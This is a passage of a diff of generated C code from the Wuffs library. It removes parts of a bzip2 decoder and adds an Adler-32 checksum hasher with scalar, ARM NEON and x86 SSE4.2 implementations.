+-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__do_transform_io( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__prepare_block( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__read_code_lengths( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__build_huffman_tree( +- wuffs_bzip2__decoder* self, +- uint32_t a_which); +- + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_bzip2__decoder__build_huffman_table( +- wuffs_bzip2__decoder* self, +- uint32_t a_which); ++wuffs_adler32__hasher__up( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_bzip2__decoder__invert_bwt( +- wuffs_bzip2__decoder* self); ++wuffs_adler32__hasher__up__choosy_default( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_bzip2__decoder__flush_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__flush_slow( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_adler32__hasher__up_arm_neon( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_slow( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up_x86_sse42( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + + // ---------------- VTables + +-const wuffs_base__io_transformer__func_ptrs +-wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++const wuffs_base__hasher_u32__func_ptrs ++wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { ++ (uint32_t(*)(const void*))(&wuffs_adler32__hasher__checksum_u32), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_bzip2__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_bzip2__decoder__history_retain_length), ++ uint32_t))(&wuffs_adler32__hasher__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_bzip2__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_bzip2__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bzip2__decoder__workbuf_len), ++ uint64_t))(&wuffs_adler32__hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_adler32__hasher__update), ++ (uint32_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_adler32__hasher__update_u32), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_bzip2__decoder__initialize( +- wuffs_bzip2__decoder* self, ++wuffs_adler32__hasher__initialize( ++ wuffs_adler32__hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -30559,23 +30841,25 @@ wuffs_bzip2__decoder__initialize( + } + } + ++ self->private_impl.choosy_up = &wuffs_adler32__hasher__up__choosy_default; ++ + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = ++ wuffs_base__hasher_u32__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = ++ (const void*)(&wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32); + return wuffs_base__make_status(NULL); + } + +-wuffs_bzip2__decoder* +-wuffs_bzip2__decoder__alloc(void) { +- wuffs_bzip2__decoder* x = +- (wuffs_bzip2__decoder*)(calloc(sizeof(wuffs_bzip2__decoder), 1)); ++wuffs_adler32__hasher* ++wuffs_adler32__hasher__alloc(void) { ++ wuffs_adler32__hasher* x = ++ (wuffs_adler32__hasher*)(calloc(1, sizeof(wuffs_adler32__hasher))); + if (!x) { + return NULL; + } +- if (wuffs_bzip2__decoder__initialize( +- x, sizeof(wuffs_bzip2__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_adler32__hasher__initialize( ++ x, sizeof(wuffs_adler32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -30583,18 +30867,18 @@ wuffs_bzip2__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_bzip2__decoder(void) { +- return sizeof(wuffs_bzip2__decoder); ++sizeof__wuffs_adler32__hasher(void) { ++ return sizeof(wuffs_adler32__hasher); + } + + // ---------------- Function Implementations + +-// -------- func bzip2.decoder.get_quirk ++// -------- func adler32.hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bzip2__decoder__get_quirk( +- const wuffs_bzip2__decoder* self, ++wuffs_adler32__hasher__get_quirk( ++ const wuffs_adler32__hasher* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -30607,12 +30891,12 @@ wuffs_bzip2__decoder__get_quirk( + return 0u; + } + +-// -------- func bzip2.decoder.set_quirk ++// -------- func adler32.hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bzip2__decoder__set_quirk( +- wuffs_bzip2__decoder* self, ++wuffs_adler32__hasher__set_quirk( ++ wuffs_adler32__hasher* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -30625,369 +30909,699 @@ wuffs_bzip2__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + +- if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func bzip2.decoder.history_retain_length ++// -------- func adler32.hasher.update + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bzip2__decoder__history_retain_length( +- const wuffs_bzip2__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_adler32__hasher__update( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return 0; ++ return wuffs_base__make_empty_struct(); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); + } + +- return 0u; ++ if ( ! self->private_impl.f_started) { ++ self->private_impl.f_started = true; ++ self->private_impl.f_state = 1u; ++ self->private_impl.choosy_up = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_adler32__hasher__up_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_adler32__hasher__up_x86_sse42 : ++#endif ++ self->private_impl.choosy_up); ++ } ++ wuffs_adler32__hasher__up(self, a_x); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func bzip2.decoder.workbuf_len ++// -------- func adler32.hasher.update_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_bzip2__decoder__workbuf_len( +- const wuffs_bzip2__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_adler32__hasher__update_u32( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ return 0; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ wuffs_adler32__hasher__update(self, a_x); ++ return self->private_impl.f_state; + } + +-// -------- func bzip2.decoder.transform_io ++// -------- func adler32.hasher.up + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bzip2__decoder__transform_io( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ return (*self->private_impl.choosy_up)(self, a_x); ++} + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up__choosy_default( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s1 = 0; ++ uint32_t v_s2 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; ++ wuffs_base__slice_u8 v_p = {0}; + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bzip2__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); +- v_status = t_0; ++ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); ++ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 5552u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5552u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5552u); ++ } ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); ++ while (v_p.ptr < i_end0_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__truncated_input); +- goto exit; ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ v_p.len = 0; + } +- +- ok: +- self->private_impl.p_transform_io[0] = 0; +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ a_x = v_remaining; + } ++ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); ++ return wuffs_base__make_empty_struct(); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++// -------- func adler32.hasher.checksum_u32 + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_adler32__hasher__checksum_u32( ++ const wuffs_adler32__hasher* self) { ++ if (!self) { ++ return 0; + } +- return status; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return self->private_impl.f_state; + } + +-// -------- func bzip2.decoder.do_transform_io ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func adler32.hasher.up_arm_neon + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__do_transform_io( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint64_t v_tag = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_final_checksum_want = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up_arm_neon( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s1 = 0; ++ uint32_t v_s2 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; ++ wuffs_base__slice_u8 v_p = {0}; ++ uint8x16_t v_p__left = {0}; ++ uint8x16_t v_p_right = {0}; ++ uint32x4_t v_v1 = {0}; ++ uint32x4_t v_v2 = {0}; ++ uint16x8_t v_col0 = {0}; ++ uint16x8_t v_col1 = {0}; ++ uint16x8_t v_col2 = {0}; ++ uint16x8_t v_col3 = {0}; ++ uint32x2_t v_sum1 = {0}; ++ uint32x2_t v_sum2 = {0}; ++ uint32x2_t v_sum12 = {0}; ++ uint32_t v_num_iterate_bytes = 0; ++ uint64_t v_tail_index = 0; + +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_do_transform_io[0].v_i; +- v_tag = self->private_data.s_do_transform_io[0].v_tag; +- v_final_checksum_want = self->private_data.s_do_transform_io[0].v_final_checksum_want; ++ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); ++ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s1 += ((uint32_t)(a_x.ptr[0u])); ++ v_s2 += v_s1; ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 66u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 5536u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); + } ++ v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); ++ v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); ++ v_v1 = vdupq_n_u32(0u); ++ v_v2 = vdupq_n_u32(0u); ++ v_col0 = vdupq_n_u16(0u); ++ v_col1 = vdupq_n_u16(0u); ++ v_col2 = vdupq_n_u16(0u); ++ v_col3 = vdupq_n_u16(0u); + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 32; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_p__left = vld1q_u8(v_p.ptr); ++ v_p_right = vld1q_u8(v_p.ptr + 16u); ++ v_v2 = vaddq_u32(v_v2, v_v1); ++ v_v1 = vpadalq_u16(v_v1, vpadalq_u8(vpaddlq_u8(v_p__left), v_p_right)); ++ v_col0 = vaddw_u8(v_col0, vget_low_u8(v_p__left)); ++ v_col1 = vaddw_u8(v_col1, vget_high_u8(v_p__left)); ++ v_col2 = vaddw_u8(v_col2, vget_low_u8(v_p_right)); ++ v_col3 = vaddw_u8(v_col3, vget_high_u8(v_p_right)); ++ v_p.ptr += 32; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 90u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; ++ v_p.len = 0; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_v2 = vshlq_n_u32(v_v2, 5u); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col0), ((uint16x4_t){32u, 31u, 30u, 29u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col0), ((uint16x4_t){28u, 27u, 26u, 25u})); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col1), ((uint16x4_t){24u, 23u, 22u, 21u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col1), ((uint16x4_t){20u, 19u, 18u, 17u})); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col2), ((uint16x4_t){16u, 15u, 14u, 13u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col2), ((uint16x4_t){12u, 11u, 10u, 9u})); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col3), ((uint16x4_t){8u, 7u, 6u, 5u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col3), ((uint16x4_t){4u, 3u, 2u, 1u})); ++ v_sum1 = vpadd_u32(vget_low_u32(v_v1), vget_high_u32(v_v1)); ++ v_sum2 = vpadd_u32(vget_low_u32(v_v2), vget_high_u32(v_v2)); ++ v_sum12 = vpadd_u32(v_sum1, v_sum2); ++ v_s1 += vget_lane_u32(v_sum12, 0u); ++ v_s2 += vget_lane_u32(v_sum12, 1u); ++ v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); ++ if (v_tail_index < ((uint64_t)(a_x.len))) { ++ { ++ wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end0_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; + } +- if (v_c != 104u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ a_x = v_remaining; ++ } ++ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon ++ ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func adler32.hasher.up_x86_sse42 ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up_x86_sse42( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s1 = 0; ++ uint32_t v_s2 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; ++ wuffs_base__slice_u8 v_p = {0}; ++ __m128i v_zeroes = {0}; ++ __m128i v_ones = {0}; ++ __m128i v_weights__left = {0}; ++ __m128i v_weights_right = {0}; ++ __m128i v_q__left = {0}; ++ __m128i v_q_right = {0}; ++ __m128i v_v1 = {0}; ++ __m128i v_v2 = {0}; ++ __m128i v_v2j = {0}; ++ __m128i v_v2k = {0}; ++ uint32_t v_num_iterate_bytes = 0; ++ uint64_t v_tail_index = 0; ++ ++ v_zeroes = _mm_set1_epi16((int16_t)(0u)); ++ v_ones = _mm_set1_epi16((int16_t)(1u)); ++ v_weights__left = _mm_set_epi8((int8_t)(17u), (int8_t)(18u), (int8_t)(19u), (int8_t)(20u), (int8_t)(21u), (int8_t)(22u), (int8_t)(23u), (int8_t)(24u), (int8_t)(25u), (int8_t)(26u), (int8_t)(27u), (int8_t)(28u), (int8_t)(29u), (int8_t)(30u), (int8_t)(31u), (int8_t)(32u)); ++ v_weights_right = _mm_set_epi8((int8_t)(1u), (int8_t)(2u), (int8_t)(3u), (int8_t)(4u), (int8_t)(5u), (int8_t)(6u), (int8_t)(7u), (int8_t)(8u), (int8_t)(9u), (int8_t)(10u), (int8_t)(11u), (int8_t)(12u), (int8_t)(13u), (int8_t)(14u), (int8_t)(15u), (int8_t)(16u)); ++ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); ++ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 5536u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); + } ++ v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); ++ v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); ++ v_v1 = _mm_setzero_si128(); ++ v_v2j = _mm_setzero_si128(); ++ v_v2k = _mm_setzero_si128(); + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if ((v_c < 49u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; +- } +- self->private_impl.f_max_incl_block_size = (((uint32_t)((v_c - 48u))) * 100000u); +- while (true) { +- v_tag = 0u; +- v_i = 0u; +- while (v_i < 48u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- v_tag <<= 1u; +- v_tag |= ((uint64_t)((self->private_impl.f_bits >> 31u))); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if (v_tag == 25779555029136u) { +- break; +- } else if (v_tag != 54156738319193u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_bzip2__decoder__prepare_block(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_block_size = 0u; +- self->private_impl.f_decode_huffman_finished = false; +- self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[0u] & 7u)]; +- self->private_impl.f_decode_huffman_ticks = 50u; +- self->private_impl.f_decode_huffman_section = 0u; +- self->private_impl.f_decode_huffman_run_shift = 0u; +- while ( ! self->private_impl.f_decode_huffman_finished) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bzip2__decoder__decode_huffman_fast(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; +- } else if (self->private_impl.f_decode_huffman_finished) { +- break; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_bzip2__decoder__decode_huffman_slow(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- wuffs_bzip2__decoder__invert_bwt(self); +- self->private_impl.f_block_checksum_have = 4294967295u; +- if (self->private_impl.f_original_pointer >= self->private_impl.f_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; +- } +- self->private_impl.f_flush_pointer = (self->private_data.f_bwt[self->private_impl.f_original_pointer] >> 12u); +- self->private_impl.f_flush_repeat_count = 0u; +- self->private_impl.f_flush_prev = 0u; +- while (self->private_impl.f_block_size > 0u) { +- wuffs_bzip2__decoder__flush_fast(self, a_dst); 